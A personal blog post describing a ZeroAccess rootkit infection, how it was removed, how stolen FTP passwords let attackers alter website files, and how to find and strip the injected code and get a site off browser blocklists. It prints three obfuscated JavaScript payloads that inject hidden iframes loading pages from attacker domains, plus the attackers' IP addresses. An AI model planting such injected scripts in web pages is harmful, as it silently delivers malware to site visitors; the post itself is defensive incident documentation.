What happened:
Over the past weekend, I got hit by ZeroAccess rootkit, which I’ve recently heard about making the news on a few security related sites. It disabled Microsoft Security Essentials and Windows Defender, and took over the Windows Security Center. It further controls the Network layer so that it can disable any connections to security sites. To keep itself in control, it installs itself as a service, a startup item and several scheduled tasks. It kills your exe associations at each restart (which means you can’t run any executables, possibly to remove the damned trojans/viruses). While all this is happening, it keeps installing more malware.

Internet help:
BleepingComputer (particularly the FixNCR.reg file is very helpful in restoring exe file association) and their forums
MalwareBytes AntiMalware didn’t help me much, because this rootkit and its malware friends kept coming back. (The problem is that these rootkits are modifying memory on the fly, so whatever success you think you have is misleading.)

How I got rid of it:
In safe mode, ran Kaspersky Virus Removal Tool 2011, TDSSKiller, Combofix
(Restore executable file associations by using the FixNCR.reg tool I listed above)
Once the above three fixed the issue, I used MBAM, MS Security Essentials, Spyware Doctor (not free) and SuperAntiSpyware (with Full Scans) to verify that my computer was clean.

Stolen ftp passwords:
It scans for ftp software programs, such as FileZilla, which like other ftp programs will store all your passwords in plaintext for any random person to grab. Lesson learned: Use SSH keys with passphrase to prevent this problem in the future. So it sent all these passwords back to their database, so the attackers (log below) connected to each site, recursively looked for all the common files: index.htm, index.html, index.php, login.php, auth.html, etc, etc and put the following codes (usually at the end):

1. Code:

   <script>wa='t';p='ht';f='k98';tb='ame';bg='.';v='sr';g='tp:';vf='/z';bs='t';px='v.h';br='yt';k='c';yr='m';ds='m';ej='/';au='/';t='com';sp='ifr';r='ca';cp='y';wz='ir';wf='u';b='5';se=sp.concat(tb);oz=v.concat(k);db=p.concat(g,ej,vf,wz,cp,r,bs,wf,yr,bg,t,au,f,b,br,px,wa,ds);var ip=document.createElement(se);ip.setAttribute('width','1');ip.setAttribute('height','1');ip.frameBorder=0;ip.setAttribute(oz,db);document.body.appendChild(ip);</script>

   evaluates to

   <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​zirycatum.com/​k985ytv.htm">​</iframe>​

2. Code:

   <script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://';b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script>

   evaluates to

   <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​numudozaf.com/​k985ytv.htm">​</iframe>​​

3. Code:

   <script>mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);</script>

   evaluates to

   <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​hysofufewobe.com/​k985ytv.htm">​</iframe>​

   How to find and remove these exploits:
   Find:

   find . -type f -regex ".*\(py\|php\|html?\)$" -exec grep -lr "frameBorder.*setAttribute.*document.body.appendChild" {} 2> /dev/null \;

   Exaplanation:
   Find all files recursively starting from current directory that have py/php/htm/html as extension, look for those 3 keywords (“frameBorder”, “setAttribute”, then “document.body.appendChild”).
   Notes: You should make sure this command outputs filenames of files that have the exploit html code. You might need to change the keywords (if the virus code has changed). Also, “2> /dev/null” will ignore all permissions/access errors, you might want to take that out if you want to see errors for files that you don’t have access to.

   Replace (just adds sed, the file editing tool):

   find . -type f -regex ".*\(py\|php\|html?\)$" -exec grep -lr "frameBorder.*setAttribute.*document.body.appendChild" {} 2> /dev/null \; | xargs -I {} sed -i.hacked 's#<script>wa=.*</script>##g' {}

   Explanation of the command after the pipe (|):
   For each file from the previous command, edit it such that we remove from the starting script tag to the ending script tag, but only if “wa=” follows the starting script tag. Of course, you will need to run this command, replacing the “wa=” with “ti=” (like the above 2 pasted exploit codes, or whatever else the the command is currently using). This script will also backup each of the exploited file (with the extension .hacked), just in case you lose something important.

   How to prevent future ftp edits:
   Don’t use ftp programs that store plaintext passwords, or better yet use passphrase’d SSH keys (with an SSH agent to simplify your life).

   Google StopBadware
   StopBadware.org is a service, which comes with all the popular browsers like FF, Chrome, Safari. Everytime you visit a site, this service is used to check if the page/website is listed as a site that propagates badware. So as you can imagine all the exploited files (above) resulted in all the domains getting blacklisted from these browsers and on top of that, Google Search will display a “This site is harmful” message. Firefox implementation of this service is the worst because Firefox tries its hardest to make you stop visiting the site. Most likely, your site will get flagged by the Googlebot, and you will also get an email from Google titled “Malware notification regarding victimsite.com” sent to the common webmaster email addresses, abuse@victimsite.com, admin@victimsite.com, webmaster@victimsite.com, etc (so as a good practice, you should make sure one of these addresses work).
   To fix this, you will need to add your site to Google Webmaster Tools (really helpful tool for all sorts of webmaster activities, and then “Request a Review” from Diagnostics > Malware section. This is just one way, I think you can also request a review through stopbadware.org (the original vendor), but the request will probably still go through the original reporter (most likely google). Also, some requests are resolved within a day (for popular sites), and some take as long as 2 days. I’ve also noticed that a convincing argument made about security haul in the comment when asking for a review helps your case.

   Finally, Some ip addresses and an example of what it looks like in logs
   
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "LIST /folderthis/folderthat/" 226 1862
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "SIZE index.htm" 213 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "RETR index.htm" 226 2573
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "STOR index.htm" 226 3018

   2nd server:
Aug 14 08:58:41 customer proftpd[6367]: (::ffff:218.93.122.165[::ffff:218.93.122.165]) - FTP session opened.
Aug 14 23:37:04 customer proftpd[16356]: (::ffff:117.41.182.209[::ffff:117.41.182.209]) - FTP session closed.
Aug 15 00:20:34 customer proftpd[22467]: (::ffff:62.212.66.15[::ffff:62.212.66.15]) - FTP session opened.
Aug 15 09:12:04 customer proftpd[8899]: (::ffff:204.12.252.138[::ffff:204.12.252.138]) - FTP session closed.
Aug 15 17:09:20 customer proftpd[25532]: (::ffff:178.17.165.146[::ffff:178.17.165.146]) - FTP
Aug 15 23:42:16 customer proftpd[10474]: (::ffff:95.211.14.25[::ffff:95.211.14.25]) - FTP session closed.
Aug 16 02:22:53 customer proftpd[17143]: (::ffff:119.128.168.56[::ffff:119.128.168.56]) - FTP session opened.
Aug 16 03:51:34 customer proftpd[20771]: (::ffff:111.74.239.55[::ffff:111.74.239.55]) - FTP session closed.
Aug 16 23:32:22 customer proftpd[3396]: (::ffff:61.131.51.193[::ffff:61.131.51.193]) - FTP session opened.